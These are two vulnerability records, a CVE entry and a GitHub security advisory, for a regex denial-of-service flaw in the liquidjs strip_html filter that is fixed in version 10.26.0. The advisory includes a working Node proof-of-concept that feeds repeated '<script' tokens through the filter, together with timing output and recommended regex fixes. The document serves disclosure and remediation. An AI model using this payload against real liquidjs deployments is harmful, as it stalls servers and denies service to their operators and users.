{
  "affected": [
    {
      "affectedData": [
        {
          "product": "liquidjs",
          "vendor": "harttle",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many \u003cscript, \u003cstyle, or \u003c!-- opener tokens without matching closers, the V8 regex engine performs O(N\u00b2) backtracking, blocking the Node.js event loop. A single ~350 KB request (\u0027\u003cscript\u0027.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit \u2014 the regex itself runs unbounded.  A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0."
    }
  ],
  "id": "CVE-2026-45617",
  "lastModified": "2026-06-18T17:16:31.020",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45617",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-18T15:46:01.767622Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-17T23:17:04.033",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/harttle/liquidjs/commit/3616a744b9abeb425c217b340a2397d46176afb8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T18:08:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe built-in `strip_html` filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many `\u003cscript`, `\u003cstyle`, or `\u003c!--` opener tokens without matching closers, the V8 regex engine performs O(N\u00b2) backtracking, blocking the Node.js event loop. A single ~350 KB request (`\u0027\u003cscript\u0027.repeat(50000)`) stalls the process for ~10 seconds; cost grows quadratically with input size. The default `memoryLimit: Infinity` does not bound regex CPU, and even when configured `strip_html` only charges `str.length` to the limit \u2014 the regex itself runs unbounded.\n\n## Details\n\nThe vulnerable filter is at `src/filters/html.ts:45-49`:\n\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.replace(/\u003cscript[\\s\\S]*?\u003c\\/script\u003e|\u003cstyle[\\s\\S]*?\u003c\\/style\u003e|\u003c.*?\u003e|\u003c!--[\\s\\S]*?--\u003e/g, \u0027\u0027)\n}\n```\n\nThe regex contains four lazy patterns:\n1. `\u003cscript[\\s\\S]*?\u003c\\/script\u003e`\n2. `\u003cstyle[\\s\\S]*?\u003c\\/style\u003e`\n3. `\u003c.*?\u003e`\n4. `\u003c!--[\\s\\S]*?--\u003e`\n\nFor an input like `\u0027\u003cscript\u0027.repeat(N)`, the engine encounters N starting `\u003c` positions. At each one it must lazily expand `[\\s\\S]*?` (and `.*?`) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N\u00b2).\n\nReachability:\n1. `strip_html` is a default-registered filter (exported from `src/filters/html.ts`, wired up via `src/filters/index.ts`), invocable from any template via `{{ x | strip_html }}`.\n2. The filter calls `String.prototype.replace` with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout.\n3. The default `memoryLimit` is `Infinity` (`src/liquid-options.ts:198`); the filter only charges `str.length` against memory (line 47), which does not bound CPU work for regex backtracking.\n\nThis is distinct from `GHSA-45rm-2893-5f49` (prototype property leak, CWE-200) and from any prior `replace`/`strip_html` issues \u2014 the mechanism here is regex backtracking CPU consumption on a different filter.\n\n## PoC\n\nEmpirical scaling confirmed against a freshly built `liquidjs@10.25.7` bundle on Node 22 / Linux:\n\n```bash\nnode -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst e = new Liquid();\n(async () =\u003e {\n  for (const n of [1000, 2000, 4000, 8000, 16000]) {\n    const payload = \u0027\u003cscript\u0027.repeat(n);\n    const t0 = Date.now();\n    await e.parseAndRender(\u0027{{ x | strip_html }}\u0027, { x: payload });\n    console.log(\u0027n=\u0027 + n + \u0027 inputLen=\u0027 + payload.length + \u0027 ms=\u0027 + (Date.now() - t0));\n  }\n})();\n\"\n```\n\nVerified output:\n```\nn=1000  inputLen=7000   ms=5\nn=2000  inputLen=14000  ms=12     (2.4x for 2x size)\nn=4000  inputLen=28000  ms=46     (3.8x for 2x size)\nn=8000  inputLen=56000  ms=187    (4.0x for 2x size)\nn=16000 inputLen=112000 ms=737    (3.9x for 2x size)\n```\n\nA larger payload extrapolates straightforwardly:\n```bash\nnode -e \"\nconst { Liquid } = require(\u0027liquidjs\u0027);\nconst e = new Liquid();\n(async () =\u003e {\n  const payload = \u0027\u003cscript\u0027.repeat(50000);  // 350 KB\n  const t0 = Date.now();\n  await e.parseAndRender(\u0027{{ x | strip_html }}\u0027, { x: payload });\n  console.log(\u0027elapsed ms:\u0027, Date.now() - t0);\n})();\n\"\n# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)\n```\n\nThe same pathology applies to `\u003cstyle` and `\u003c!--` openers.\n\n## Impact\n\n- **Single-request DoS:** A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.\n- **Trivial amplification:** Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.\n- **No authentication required:** The typical use case for `strip_html` is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through `strip_html` is exposed.\n- **memoryLimit doesn\u0027t help:** Even applications that opt into `memoryLimit` are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only `str.length` is charged, not the cost of the regex traversal.\n\n## Recommended Fix\n\nReplace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.\n\nOption 1 \u2014 anchor each alternative so lazy expansion fails fast on chunked content (no `[\\s\\S]*?` over the full tail):\n```ts\nreturn str.replace(\n  /\u003cscript\\b[^\u003c]*(?:\u003c(?!\\/script\u003e)[^\u003c]*)*\u003c\\/script\u003e|\u003cstyle\\b[^\u003c]*(?:\u003c(?!\\/style\u003e)[^\u003c]*)*\u003c\\/style\u003e|\u003c!--[^-]*(?:-(?!-\u003e)[^-]*)*--\u003e|\u003c[^\u003e]*\u003e/g,\n  \u0027\u0027\n)\n```\nThis unrolls each lazy quantifier so each `\u003c` is visited at most a constant number of times overall \u2014 linear total work.\n\nOption 2 \u2014 single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `\u003cscript\u003e`, `\u003cstyle\u003e`, comment, or generic tag, and emit nothing for those ranges.\n\nEither fix should be combined with charging the regex output cost honestly to `memoryLimit` and (defensively) capping input length up front:\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  // ... linear-time strip implementation here\n}\n```",
  "id": "GHSA-r7g9-xpmj-5fcq",
  "modified": "2026-05-27T18:08:19Z",
  "published": "2026-05-27T18:08:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex"
}